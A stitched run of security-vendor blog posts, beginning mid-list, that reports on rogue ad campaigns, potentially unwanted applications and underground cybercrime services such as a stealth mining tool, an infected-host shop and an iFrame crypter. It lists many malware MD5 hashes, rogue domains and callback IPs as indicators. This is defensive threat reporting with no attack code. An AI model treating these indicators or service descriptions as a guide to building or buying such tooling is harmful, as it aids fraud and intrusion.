022e04b4be81f642c84b189e9b4455cb	MD5:
ebda7ea29415c1185a9475ba84bf5678	MD5:
a6ea0a225573a93d0510f9fbbcaffe8c	MD5:
6b61387812931e084879116137057788	MD5:
91f7e23672b4bbc9c8908dd8509c9483	MD5:
72548d4036c0c8faf0d67f338392a91f	MD5:

*d50af85794e9f571467d34c247adf659 MD5:
121388cd85c640b6c0f405a02d5c5810 MD5:
c332f70e839db8f0303ac5e2f89cbb6c MD5:
4153839d0eb169caa1b3ff1b65ca350f MD5:
6613fba257330047d9c828f6be1c534e MD5:
07b10b3ac02628b72af41825d93df309 MD5:
7f6c598df6c9fa9db83b7c2613858bb9 MD5:
ed834e13e99339a15480836e8e385524 MD5:
1eb5f7505090a91d32ea57d44dc60aba MD5:
a19d25172c8d1ed97d3952a0b63e7448 MD5:
c2bff97dbf2ee37c3b1f783ff7fa5010 MD5:
b91eb7f27fc2af60ca47c6901f410247 MD5:
6196e075bc6540e001f081f32ea88dea MD5:
a3e99e08217e9675012a6a83f057e378 MD5:
958e3caa1a84b54a0461c882bfe178ec MD5:
78cbfc9577275c77a85ee2a159d2d907*

Rogue domains known to have phoned back to 199.58.87.151 in the past: *cdnus.50orcdn.com cdnus.adsearchescdn.com
cdnus.afdlcdn.com cdnus.alcoholsoftcdn.com
cdnus.allmyappscdn.com cdnus.amazingwebtvcdn.com
cdnus.amniscdn.com cdnus.anymusicconverter.com
cdnus.anysendapp.com cdnus.apponiccdn.com cdnus.aviracdn.com
cdnus.baixakialtcdn.com cdnus.baixakicdn.com
cdnus.barremagiquecdn.com cdnus.bestringtonesmaker.com
cdnus.bestvistadownloadscdn.com cdnus.bitlordapp.com
cdnus.bitlordcdn.com cdnus.bonecdn.com
cdnus.browsergamesdecdn.com cdnus.brsrcdn.com
cdnus.bundlorecdn.com cdnus.camstudiocdn.com
cdnus.clickgratiscdn.com cdnus.comodopocdn.com
cdnus.coolaudioconverter.com cdnus.cooldownloadmanager.com
cdnus.coolflvplayer.com cdnus.coolmp3converter.com
cdnus.coolpdfconverter.com cdnus.coolpdfcreator.com
cdnus.coolpdfreader.com cdnus.coolringtonesmaker.com
cdnus.coolvideoconverter.com cdnus.coolvideotomp3.com
cdnus.dobreprogramyplcdn.com cdnus.downloaddkcdn.com
cdnus.downloadfreecdn.com cdnus.downloadhrcdn.com
cdnus.downloadsmanagerpro.com cdnus.downloadster2cdn.com*

cdnus.downloadstercdn.com cdnus.driverguidecdn.com
cdnus.driverscoutcdn.com cdnus.extrimdownloadmanager.com
cdnus.extrimvideoplayer.com cdnus.fbonlinefriendsalertcdn.com
cdnus.fbstatussymbolscdn.com cdnus.fileorgcdn.com
cdnus.fixiocdn.com cdnus.flvplayerpro.net cdnus.foofindcdn.com
cdnus.freemiumcdn.com cdnus.freesocialappcdn.com
cdnus.freewindowstunercdn.com cdnus.friedcookiescdn.com
cdnus.fsucdn.com cdnus.funmoodsapp.com
cdnus.funmoodscdn.com cdnus.fvdcdn.com
cdnus.fvdconvertercdn.com cdnus.fwt7zipcdn.com
cdnus.fwtfreeytdlcdn.com cdnus.fytdmcdn.com
cdnus.gimpshopcdn.com cdnus.greataudioconverter.com
cdnus.greatelsoftcdn.com cdnus.hoolappcdn.com
cdnus.instalkiplcdn.com cdnus.ironcdn.com
cdnus.jdownloadercdn.com cdnus.jetmp3cdn.com
cdnus.kitaracdn.com cdnus.legendascdn.com cdnus.mailrucdn.com
cdnus.marketingsweepcdn.com cdnus.maxigetcdn.com
cdnus.mediacodeccdn.com cdnus.mediacrawlercdn.com
cdnus.mediafindercdn.com cdnus.mensagenscomamorcdn.com
cdnus.mihovcdn.com cdnus.mpcdlcdn.com
cdnus.mundoconverter.com cdnus.musicdownloadcdn.com
cdnus.mydivcdn.com cdnus.mydownclubcdn.com
cdnus.mysearchdialcdn.com cdnus.onedownloadspot.com
cdnus.pdfperfectcdn.com cdnus.ptfcdn.com
cdnus.razemediacdn.com cdnus.rightclickenhancercdn.com
cdnus.safemonitorcdn.com cdnus.searchyacapp.com
cdnus.softmencdn.com cdnus.softportalcdn.com
cdnus.superbvideoconverter.com cdnus.superfastbrowsercdn.com
cdnus.thebestallcodecsapp.com cdnus.thecoolzipextractorapp.com
cdnus.thedownloadmanagerapp.com cdnus.thefastbrowserapp.com
cdnus.thefastestwordviewer.com cdnus.theflvplayerapp.com
cdnus.thegamesapps.com cdnus.themusicdownloadqtrax.com
cdnus.thepdfcreatorapp.com cdnus.thepdfreaderapp.com
cdnus.theseaappcdn.com cdnus.thesendfilesapp.com
cdnus.thevideoconverterexclusive.com cdnus.todownloadcdn.com
cdnus.tudodownloadscdn.com cdnus.tvrightcdn.com
cdnus.ubcmcdn.com cdnus.ultimatedownloadaccelerator.com

cdnus.ultimatepdfconverter.com cdnus.unipdfconverter.com cdnus.updatestarcdn.com cdnus.uptodowncdn.com cdnus.utorrentcdn.com cdnus.videoconvertertool.net cdnus.vndownloadcdn.com cdnus.volarocdn.com cdnus.webfilescdn.com cdnus.win7themescdn.com cdnus.win8dvdcdn.com cdnus.yamyamcdn.com img.50orcdn.com img.5oftwarescdn.com img.adsearchescdn.com img.alcoholsoftcdn.com img.allmyappscdn.com img.anyprotectcdn.com img.anysendapp.com img.apponiccdn.com img.aviracdn.com img.baixakialtcdn.com img.barrercouterradiocdn.com img.bestflvplayer.net img.bestvistadownloadscdn.com img.bitlordapp.com img.brsrcdn.com img.clickgratiscdn.com img.clickmeinstats.com img.coolaudioconverter.com img.cooldownloadmanager.com img.coolflvplayer.com img.coolmp3converter.com img.coolpdfconverter.com img.coolringtonesmaker.com img.coolvideoconverter.com img.coolvideotomp3.com img.downloadastrocdn.com img.downloaddkcdn.com img.downloadmixcdn.com img.downloadster2cdn.com img.downloadstercdn.com img.downwallcdn.com img.driverguidecdn.com img.driverscoutcdn.com img.etypecdn.com img.extrimdownloadmanager.com img.fileorgcdn.com img.findmysoftcdn.com img.fixiocdn.com img.freeinternettunercdn.com img.freesocialappcdn.com img.freewarezippercdn.com img.freewindowstunercdn.com img.friedcookiescdn.com img.fsucdn.com img.funmoodsapp.com img.funmoodscdn.com img.fvdconvertercdn.com img.fwt7zipcdn.com img.fwtcdburnerxpcdn.com img.fwtdlmcdn.com img.fwtfreeytdlcdn.com img.fwtvlcplayercdn.com img.fytdmcdn.com img.gamershellcdn.com img.gimpshopcdn.com img.greatelsoftcdn.com img.howinccdn.com img.indircdn.com img.instalkiplcdn.com img.iwdownloadcdn.com img.jdownloadercdn.com img.kitaracdn.com img.lisisoftcdn.com img.mediacrawlercdn.com img.mediafindercdn.com img.mensagenscomamorcdn.com img.mihovcdn.com img.mundoconverter.com img.mydivcdn.com img.mysearchdialcdn.com img.pcgizmoscdn.com

img.picbadgescdn.com img.pivotstickcdn.com
img.policedecriturecdn.com img.programsplcdn.com img.ptfcdn.com
img.smarttweakfmrcdn.com img.smarttweakumdcdn.com
img.sofontescdn.com img.softmencdn.com img.softpickscdn.com
img.softportalcdn.com img.softsoftcdn.com img.softsumacdn.com
img.softworldcdn.com img.superdownloadsbrcdn.com
img.telechargercdn.com img.todownloadcdn.com
img.tudodownloadscdn.com img.ultradownloadscdn.com
img.updatestarcdn.com img.uptodowncdn.com
img.videoconvertertool.net img.vittaliacdn.com
img.vndownloadcdn.com img.volarocdn.com img.webplayercdn.com
img.winloadcdn.com img.ytdcdn.com img.ziggicdn.com

Potentially Unwanted Application MD5s known to have phoned back to the same IP (199.58.87.151) in the past: *MD5:*
8ae94bc72bfbfafaccd304726fd8ebda MD5:
892edd0e66b9334f1cfcb462227fd057 MD5:
f5916475fe4091be5f4d53e20556ceaa MD5:
ffa3870948b58e632d4675693dceba90 MD5:
972bf529418707d2ed81af9d94fab083 MD5:
39c829c49fa994f6dc16d9d7fa88df9b MD5:
ad9dd293b1a4e5f8f5dd017fa38745a9 MD5:
20017c4b1ec0abdd93e731b034bde58f MD5:
cf43606de0902c13a72a5a3efbc4ec70 MD5:
c7d48a0f49acdbfe989ef4481a367475 MD5:
09c0f18ff6d9921dec9bd3aac2cd79df MD5:
c18c6570ab9faaf638ca7027a6a6336e MD5:
d93d3857ad917adb226051e99fbe3e5e MD5:
ed8d8e6f92a7fc84cbc7a1f8ff1cb196 MD5:
c91562f6992bd1def53e3ab328c2a730 MD5:
b19986a2c4dd63563735d90cf714153a MD5:
78166e6f1b07b4b7e43568abf0126bdc MD5:
08ee2b501a5cd9dd4be47c5700f0664f MD5:
54346fa1b734b3cd1a9749dca763cbe1 MD5:
50dba7ccd0f656013d6ba3530032b58c MD5:
7e420cf28391adc83d8af590a3689d05 MD5:
df31c97d5f101c316a60c3cfa35ec161 MD5:
315feeb0a7f3a8855a0463deb2527f3d MD5:

0b50815d3f068a69364d1eafe7e101a7	*MD5:*
b14e28a0e754b9468738bb622094e517	*MD5:*
82e1d0433f7c234d2003a9ef08d9861a	*MD5:*
ddf9a1c27563fcc57ca34526a8b8a1ec	*MD5:*
9f6cf73f6820941c61cdaee9d9c642dd	*MD5:*
a07bc7c6dbb36ced074ec01eddd3ae95	*MD5:*
cb7b9d698a720a01344daa40c1c3f677	*MD5:*
8e9eba5f9818fb3b345d513de5ac6711	*MD5:*
e2ac1d0e7e327d6d84eec29c705d1ab7	*MD5:*
ba94e678c173f174a328fc24024aaafb	*MD5:*
b39b7ac868d234487669977c13e8d27a	*MD5:*
8816a81a0f51962adb6490aba1b981a2	*MD5:*
a50b547b429cc795c349bf9274c64480	*MD5:*
bf1bfe82f988c7a9da36305bdc266e9a	*MD5:*
39f975cca2ec7f2fc22bb154082df00b	*MD5:*
9157a833b422dc419ba7a9ac419da446	*MD5:*
09ae7b426301abfe1e34a81df1fa7e62	*MD5:*
d4c55610e0bc9a94865fd33512f5a725	*MD5:*
aa46eb94426952f2ac9776e8b38daf5d	*MD5:*
76b6eaa4e01d3420d068228b401ed7dc	*MD5:*
8068541132011ebc7a85dc8ef97c4399	*MD5:*
71fb99f445b3851b40acc459b155b16e	*MD5:*
982762d5531b6344d0f3a8cce10292f5	*MD5:*
0d767a06734ebe09f988eb76d6c66b7a	*MD5:*
5619eb1d8cc4553b614ed223f2f47244	*MD5:*
610779e2ea5adfee27190e174cd6f20a	*MD5:*
4a36e757ceec1449b4b5fc9448afd136	*MD5:*
fae91d8afb366de5dbeec8610a9c3b34	*MD5:*
313352a433c592b49f0c7069b21af2e4	*MD5:*
7c1f9500343db9dfd54572c099aaaeea	*MD5:*
f69826937e05bae3447e583e83b62ba3	*MD5:*
7d789e6c7989bfee60fb47d796843f00	*MD5:*
1accbace4786c25e38ab9389e923f6df	*MD5:*
1372ec7a8ac2606bb8c7b1acf803b1ca	*MD5:*
568d95a3fb0fb3161a0932bc6afe76f7	*MD5:*
88a66567013165b7aa4bbbc79b3de949	*MD5:*
31cf1a6fc1a2844b8bdaf52ea79428b2	*MD5:*

6073d9d11ce106d2931af8fd57ab6e22 MD5:
28726fc3c370d2674eea9cb882b8c364 MD5:
f47f2cac732eda721a330683d1cd7dbf MD5:
bc083e6c105b4ff49c20234c6f1252bb MD5:
bebb4ebf43fa81ad3543e05060445f22 MD5:
a10a6dafbdfa90bb7284a746f7be1270 MD5:
63fc9a8f84a0bf1babb7bd91bb16e8bf MD5:
63fc9a8f84a0bf1babb7bd91bb16e8bf MD5:
74ceb871723dbea493b7891ff0115b02 MD5:
ecfe224585d6d9e96f5c2e19343201d3 MD5:
10f3974f4fa7475e89c3843f40bc1e20 MD5:
4153839d0eb169caa1b3ff1b65ca350f

We advise users to avoid interacting with ads enticing them into downloading well known software applications, and to always visit their official Web sites in order to obtain the latest versions.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

New subscription-based SHA256/Scrypt supporting stealth DIY Bitcoin mining tool spotted in the wild - Webroot Blog

facebook linkedin twitter

A recently released subscription-based SHA256/Scrypt supporting **stealth DIY Bitcoin mining tool** is poised to empower cybercriminals with advanced Bitcoin mining capabilities to be used on the malware-infected hosts that they have direct access to, or have purchased through a boutique cybercrime-friendly E-shop selling access to hacked PCs.

Let's take a peek at the DIY Bitcoin mining tool, and discuss some of its core features.

Sample screenshot of the international underground market advertisement:

The Bitcoin mining tool comes with a DIY generating tool, start up functionality, installation persistence, assembly changer, icon changer, support for both Bitcoin and Litecoin CPU/GPU, the ability to change the CPU/GPU threads, as well as the ability to adjust the GPU fan percentage. The mining tool comes as a fully managed subscription-based service for the price of $15 on a monthly basis. The accepted methods are BTC, LTC, TRC, and naturally in the context of OPSEC-unaware cybercrime-friendly releases, **PayPal** .

Sample screenshots courtesy of "happy customers":

We expect to continue observing an increase in managed subscription based DIY Bitcoin mining international underground market propositions, and will post updates as soon as we come across such managed services.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

New E-Shop sells access to thousands of malware-infected hosts, accepts Bitcoin - Webroot Blog

facebook linkedin twitter

Thanks to the buzz generated over the widespread adoption of the decentralized P2P based E-currency, Bitcoin, we continue to observe an overall increase in international underground market propositions that accept it as means for fellow cybercriminals to pay for the goods/services that they want to acquire.

In this post, I'll profile yet another recently launched **E-shop selling access to thousands of malware-infected hosts** , which compared to the **previous E-shops that we've profiled** , is directly promoting the use of **ransomware** , click fraud facilitating bots and **bitcoin mining tools** on the malware-infected hosts purchased through the service.

More details:

Sample screenshot of the international underground market advertisement of the E-Shop:

The price for international malware-infected hosts is either $5 or $8 for a 100 hosts. The price for 500 malware-infected hosts is either $20 or $40, and the price for a 1000 international malware-infected hosts is either $30 or $60, based on the type of access that the customer requires. The shop is also exclusively offering access to U.S based hosts, which, as always, command the highest prices of the Eshop. 100 hosts go for $20, 500 hosts go for $70, and 1000 hosts go for $120. The service accepts Bitcoin, Litecoin, Perfect Money and Web Money, with Perfect Money and Web Money being the primary payment methods for the majority of Russian/Eastern European cybercrime gangs.

The cybercriminals behind the service are also attempting to apply Quality Assurance to this international underground market proposition by ensuring their potential customers that once a malware-infected host gets sold to them, it will not be resold to someone else. Combined with the ability to install virtually any kind of additional malware in an attempt to monetize the access to the compromised hosts, there’s a high probability that the E-Shop will succeed in the early stages of its launch.

Do the cybercriminals that accept Bitcoin do it with OPSEC (Operational Security) in mind, or are they basically riding on the buzz wave surrounding E-currency? It’s surreal to think that these novice cybercriminals are OPSEC-aware, taking into consideration the fact that in addition to these virtual currencies, they continue to accept PayPal for their cybercrime-friendly products and services. For example, this E-shop also accepts PayPal from trusted and respected community members only.

As always, we’ll keep an eye on more E-shops selling access to malware-infected hosts and post updates as soon as we come across to the next one.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Rogue 'Oops Video Player' attempts to visually social engineer users, mimicks Adobe Flash Player's installation process - Webroot Blog

facebook linkedin twitter

Our sensors have just detected yet another rogue advertisement served through the Yieldmanager ad network, this one enticing users into downloading a rogue video player known as the 'Oops Video Player'. What's particularly interesting about this rogue ad campaign is that the PUA (**Potentially Unwanted Application**) attempts to visually trick users by mimicking Adobe Flash Player's installation process.

More details:

Sample screenshot of the rogue ad:

Sample screenshot of the landing page mimicking Adobe Flash Player's installation process:

Detection rate for the rogue video player – **MD5: 9df30aa7a7796ae73b33a6ba7ba7bfb3** – detected by 4 out of 47 antivirus scanners as Win32/DomaIQ.C; Adware.DomaIQ; DomainIQ pay-per install; DomaIQ (fs). The sample is digitally signed by 'Awimba LLC'.

Domain name reconnaissance: *ooopsvideo.com* – 54.214.92.56

More domains of rogue applications, part of the same network, are known to have phoned back to (domaiq.com – 37.59.180.17), for instance: *api.v2.domaiq.com api.v2.madodls.com api.v2.secdls.com crud.v2.domaiq.com dl.v2.domaiq.com dl.v2.madodls.com dl.v2.secdls.com dls.123mplayer.com dls.adcdls.com dls.archivospc.com dls.dlsofteclipse.com dls.downhq.com dls.download1server.com dls.downloadgratuiti.com dls.downloadsetup.com dls.downquick.com dls.driverdls.com dls.famdls.com dls.favfiles.com dls.filesonar.com* *dls.filezor.com dls.flashmplayer.com dls.freemplayer.com dls.freiesoft.com dls.gamerdls.com dls.gufairu.com dls.gufile.com dls.lastplayerfree.com dls.livedls.com dls.mpalyerfreeware.com dls.mplayerdownloader.com dls.mplayerfree.com dls.mplayerfull.com dls.mplayertotal.com dls.nicdls.com dls.pitisoft.com dls.popdls.com dls.realdls.com 2dls.securedonwloadepiclab.com dls.softdls.com dls.softgratuit.com dls.softlate.com dls.softluv.com dls.sweetdls.com dls.themplayerupdater.com dls.topsoft.co.uk dls.totalvideoplugin.com dls.xvidupdate.com dls.yourmplayer.com domaiq.com madodls.com static.v2.madodls.com track.v2.domaiq.com track.v2.madodls.com catdls.com madodls.com*

The monetization takes place through the DomaIQ (**domaiq.com** – 37.59.180.17) pay-per-install affiliate network, with the cybercriminals participating in it earning revenue every time a successful installation of the rogue application takes place.

We're also aware of the following rogue MD5s part of the same affiliate network monetization process: *MD5: 8a41066e79e14b542fadbf2e79bf4490 MD5: 0655343de61b717175df1b65f9de7aee MD5: 8154698fb256f62321e13408c00f1503 MD5: 57d3f98a3465c837be72b769895c3123 MD5: 949c84ed7d8ddc093635df8e4152e1b3 MD5: be06f0dd30404a875b27336821879d16 MD5: 4368b7b5445ca1237601673f995b9992 MD5: a7d60fd7e6ee33b3eea43ed0be82d6e9 MD5: dd70c58925b37e3d7655ba25cf77cb83 MD5: 0d374245e0913ea5ec740323b4b15cb5 MD5: 69e2cd3327f91970f8285989724f5802 MD5: 53676ff21d4607b7f8b8d975d6b0c405 MD5: 4f6ac57a18340ac3cdfb9351ca2d4628 MD5: 4f71871dbdc6a3ae949fb5c9586c010f MD5: 65a1fe05c915e2bd586cdedd6d1a792f MD5: 475832e7f291521046b1a7d5f9ff7b58 MD5: d7f58ca6d63304f5f6e1a77bcf6a9567 MD5: aef8f79851237a27215959fdea14a6f3 MD5: 2e7ac59db7594347e496d94411a835b7 MD5: e647b2130580a571079d3a45f38a7caf MD5:*

78725dd1530463d33e156f6307ad96b7	MD5:
7c1f03ce20333e1fb738a6bab852e832	MD5:
a382bbaa3abf952ae3f64798bffad1da	MD5:
184909e269af30735f690c441948369c	MD5:
02223e41331a9d7265234be07d0a6b8a	MD5:
68a600cd1a9db3797f97df4124c4d2e1	MD5:
f3ace640b79542290669116d850483f6	MD5:
88f7914a5db9154c9886a32e3e06a152	MD5:
ef2d28dc42c0b5b00bc7ff195f8da89f	MD5:
814d5b7c53f148b61af80d6bdb0c222a	MD5:
320efca7c179376e28a7ad80dfcbac58	MD5:
3ac89dbe98d817402e98b70dede51395	MD5:
2179d3e6caf3b057506207ad040c2a5e	MD5:
a1f31f1d4ea07039b053ce7e9e4e854c	MD5:
f057123739c892c1c335af95f2e3efb1	MD5:
a6e75eff7c07fd81fe9542a709a97ccd	MD5:
8dccf579bacae71d0fc01e8181fac1f3	MD5:
6be3b6451c5b4d28267344e29745bc9e	MD5:
14445616a8318b4e1c2d136338d4ba63	MD5:
0f714922a0b7d3f1db740de375bdca1c	MD5:
c96b02e866d6f29f7420c3299caeddaf	MD5:
9940749abfc2f0064fbdbfaf0db309cc	MD5:
1c548424a14497e696ffb77952497008	MD5:
b287a636646196f049e2ba7dbb5be153	MD5:
750fb1f17e502ad8456d2d8cccb0d7eb	MD5:
30248c2041f68acfd97b41a4efb3d066	MD5:
77c3ef7af4954c2f53b179ed280915f1	MD5:
fbd0bc3a7eb34ea36f9e65d5daff6f4e	MD5:
e1855ac92f2674d30f6ebc3a21fa4b50	MD5:
b545cf0f7a956d9b3d6a960d6b260a5a	MD5:
5141d92ec1c9a9d8be92657a02e68f40	MD5:
661a6bee24fc85a22d27521448c0a49a	MD5:
55e82ad54926f3feaf9e0fc5a25ecb0d	MD5:
182ecf374d2279ea0d7763ec619086ac	MD5:
2be906864a697056af3f4a99e383a06a	MD5:
cdd7267deeedbd508f6bfa0a4126b640	MD5:
20b606accaaba0612edee6d20cc798b6	MD5:

d0ee8ed683628c2cba4bba14acd51cec	MD5:
743fe85ae1bd39b88035d64161ad3827	MD5:
156197b754ffb65a129b4c43fb327363	MD5:
69e533f0c8ccb017f4d65d80e349d37f	MD5:
230bd86ff36d1ec00a52484d831bcc34	MD5:
606e6b86f065d88d7be93aac05e5237f	MD5:
cfd09403f4ee70291ef978e098b2c83f	MD5:
c8abbc7e3bb89ecc6d4613512b8ceab5	MD5:
338b1f9d8806a88f26b0bfbc7458625b	MD5:
9ab56e5d49ef57b1f55b6f1e09704ea7	MD5:
bac642ad6e3bb3fcf3d728b507cce496	MD5:
977605ddfb08cac78f0f57775bda5572	MD5:
0bee0f472b32ed23dd4b69917150b4d8	MD5:
c21e694c00d580c5ea5b73eae7a421b8	MD5:
f5536e02aa104fc6dbc4299b78d9096d	MD5:
d788d78a6930200f1e679f45c4fe233d	MD5:
976e0dfdee81fe215d57317d4958eca6	MD5:
989a9c56949cabd134e608c4a2ae87f8	MD5:
7248c37dd0532a50f64884e085cc0eab	MD5:
5ccece08ae4e5fd5730a3399efae2824	MD5:
520b07f1670f87b367b30cb727bdf31c	MD5:
b8d91fa98aae8e3c813058e7f827e9dd	MD5:
b755b00886cddff8dcbf7a87b56bac72	MD5:
6114210a10d207310841e44a8e5f865c	MD5:
6d415cff4b03d3e7e7baf15293605fa1	MD5:
37c695426979bb471f8e4904471403f2	MD5:
df6c97f2fa729b43902f14217c582afd	MD5:
052290f7cc109b47fcac4a68c72beba5	MD5:
129d4f14f168053e08017a726f1793a2	MD5:
c6006cc2d52537e8a40228edac028983	MD5:
10b4118f46346b2071e9657de8f1cbfc	MD5:
cf24d23d765252939b023327a1818b0e	MD5:
dab3b44e41a310024cb1f34cce160c16	MD5:
2a552118ef6aaab609770c18ef882c18	MD5:
e96ca6177e75a0b03e0d405ad927a8cf	MD5:
f0f50dd3701275541841ef81ee24fd2b	MD5:
06483d31e30154a3f37195d89a97e853	MD5:

e48842a5d2e47274759c712b3db6e250 MD5:
18fa2f5a6da88aa123acb9dcddd11397 MD5:
d91068aca21d173e095a9e236db4e31b MD5:
0326e1313be59e3cd6ac66bbcacc3291 MD5:
41ed16661ec7f5b792749b941d47042f MD5:
c944a09a0ceb95f1d8bf90a02c8e2816

We'll continue monitoring this pay-per-install affiliate network's activities. Meanwhile, users are advised to avoid interacting with the 'Oops Video Player'.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

New boutique iFrame crypting service spotted in the wild - Webroot Blog

facebook linkedin twitter

In a series of blog posts shedding more light into the **emergence of the boutique cybercrime 'enterprise'** , we've been profiling underground market propositions that continue populating the cybercrime ecosystem on a daily basis, but fail to result in any widespread damage or introduce potential ecosystem disrupting features. Despite these observations, the novice cybercriminals behind them continue earning revenue from fellow cybercriminals, continue generating and maintaining their botnets, and, just like small businesses in a legitimate economy model, continue to collectively occupy a significant market share within the cybercrime ecosystem.

In this post, I'll profile a self-service type of boutique iFrame crypting cybercrime-friendly operation and discuss why its perceived short product/service life cycle is still a profitable cybercrime ecosystem monetization tactic, despite these services'/products' inability to differentiate their proposition from the market leading competitors whose 'releases' remain a major driving force behind the mature state of the underground market in 2013.

More details:

Sample screenshot of the iFrame crypting service:

Basically, what the service offers is DIY (do-it-youself) iFrame obfuscation, relying on a newly developed obfuscation algorithm. However, taking into consideration the fact that it doesn't have the capacity to obfuscate iFrames in bulk orders or obfuscate them on the fly through an API — now an accepted standard for delivering a service/product in the cybercrime ecosystem — it's product life cycle is prone to be a short one. Interestingly, this will not prevent the cybercriminal operating the service from earning revenue in the short term, with the service's life cycle prone to be rebooted every once in a while by publicly advertising it at yet another cybercrime-friendly communitiy primarily populated by novice cybercriminals.

In comparison, known, trusted and respected cybercriminals continue causing widespread damage through standard business/ecosystem practices such as standardization, compatibility, real-timeliness, APIs, outsourcing and managed services. Case in point is **Paunch's (author of the Black Hole Exploit Kit) vertical underground market integration** , taking into consideration the fact that in addition to the **Black Hole Exploit kit** , he also operates an on-the-fly malicious script obfuscating service that is well known and respected among cybercriminals. Co-branding it within the **Black Hole Exploit kit** since the beginning, he's managed to attract the attention of other sophisticated cybercriminals whose releases are truly disrupting the ecosystem as we know it – by successfully achieving the so called 'malicious economies of scale'. Not only is his malicious script obfuscation service widely used within the cybercrime ecosystem, **sophisticated and newly released automatic exploitation platforms** prefer the service to the point where they'd integrate it within their platforms.

Sample MD5 for an obfuscated iFrame using the service: **MD5: 1ec320b6d83c5bb5a07ed92eb1722797** – detected by 4 out of 46 antivirus scanners as JS/Crypted.PD.gen; Trojan.JS.ObfJS.ba (v).

We'll continue monitoring the emerging 'boutique cybercrime enterprise' trend, and post updates as soon as we spot new services/products.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Rogue ads target EU users, expose them to Win32/Toolbar.SearchSuite through the KingTranslate PUA - Webroot Blog

facebook linkedin twitter

By Dancho Danchev

Who would need a virtually unknown, but supposedly free, desktop based application in order to translate texts between multiple languages? Tens of thousands of socially engineered European ads, who continue getting exposed to the rogue ads served through Yieldmanager's network, are promoting more **Potentially Unwanted Applications (PUAs)** courtesy of **Bandoo Media Inc** and their subsidiary Koyote-Lab Inc.

More details:

Sample screenshots of the rogue KingTranslate PUA landing/download page:

Rogue URL: *kingtranslate.com* – 109.201.151.95

Detection rate for the PUA: KingTranslateSetup-r133-n-bc.exe – **MD5: 51d98879782d176ababcd8d47050f89f** – detected by 3 out of 47 antivirus scanners as Adware.Searcher.2497; Win32/Toolbar.SearchSuite.

Just like in iLivid and fTalk's cases, their Privacy Policy reveals their true intentions:

"*When you visit the Website, KingTranslate may automatically receive and record certain non-personally identifiable information on its server logs from your browser, including your IP address, browser type, internet service provider (ISP), cookie information, and the webpage that you visit. KingTranslate collects non-personally identifiable information for general purposes, including but not limited to analyzing trends, administering the site, tracking user movements, conducting research, and providing anonymous reporting to internal and external clients. KingTranslate will not link any Personal Information, including e-mail addresses, with the aggregate data of* *its users. Please be aware that some non-personally identifiable information such as Uniform Resource Locators (“URL’s) or Internet Protocol (“IP”) addresses could become Personal Information when combined by third parties with the ISP’s records. KingTranslate does NOT do this with your information. ”*

We advise users to avoid using this application and to consider other free, legitimate translation services such as, for instance, **Google Translate** or **Bing’s Translator** .

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

How cybercriminals apply Quality Assurance (QA) to their malware campaigns before launching them - Webroot Blog

facebook linkedin twitter

By Dancho Danchev

In 2013, the use of basic **Quality Assurance (QA)** practices has become standard practice for cybercriminals when launching a new campaign. In an attempt to increase the probability of a successful outcome for their campaigns — think malware infection, increased visitor-to-malware infected conversion, improved conversion of blackhat SEO acquired traffic leading to the purchase of counterfeit pharmaceutical items etc. — it has become a common event to observe the bad guys applying QA tactics, before, during, and after a malicious/fraudulent campaign has reached its maturity state, all for the sake of earning as much money as possible, naturally, through fraudulent means.

In this post we'll profile a recently released desktop based multi-antivirus scanning application. It utilizes the infrastructure of one of the (cybercrime) market leading services used exclusively by cybercriminals who want to ensure that their malicious executables aren't detected and that their submitted samples aren't shared between the vendors before actually launching the campaign.

More details:

Sample screenshot of the desktop edition of the originally, Web-based, API-supporting cybercrime-friendly service:

Operating on the public Web since 2009, one of the most popular cybercrime-friendly underground alternatives to VirusTotal has been systematically evolving throughout the years. From the periodic introduction of new antivirus scanners to the introduction of anti-blacklist URL checking against the most popular public/commercially available databases, since 2010, its users can also take advantage of its API, and embed it within their campaigns/**Web malware**

exploitation kits . Does the existence and public availability of the tool pose any significant threats?

Despite the fact that the (unofficial) desktop version is aimed to be a convenient way for a cybercriminal not wanting to access the Web interface of the service, it's directly undermining the efficiency/bulk centered mentality of the API, imposing service limitations to the cybercriminal using it.

The existence of this service, and the community that's apparently orbiting around it, greatly reminds us of **the limitations of signatures-based antivirus scanning** in 2013. Thanks to **commercially** available **DIY malware crypting services** , commercially available **undetected DIY malware generating tools** , as well as **managed malware/ransomware services** taking care of the detection process, cybercriminals are perfectly positioned to capitalize on the users' false feeling of security and lack of situational awareness on the whole infection process.

To find out more about how Webroot is reinventing the antivirus, consider going through **this paper** .

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Rogue ads lead to SafeMonitorApp Potentially Unwanted Application (PUA) - Webroot Blog

facebook linkedin twitter

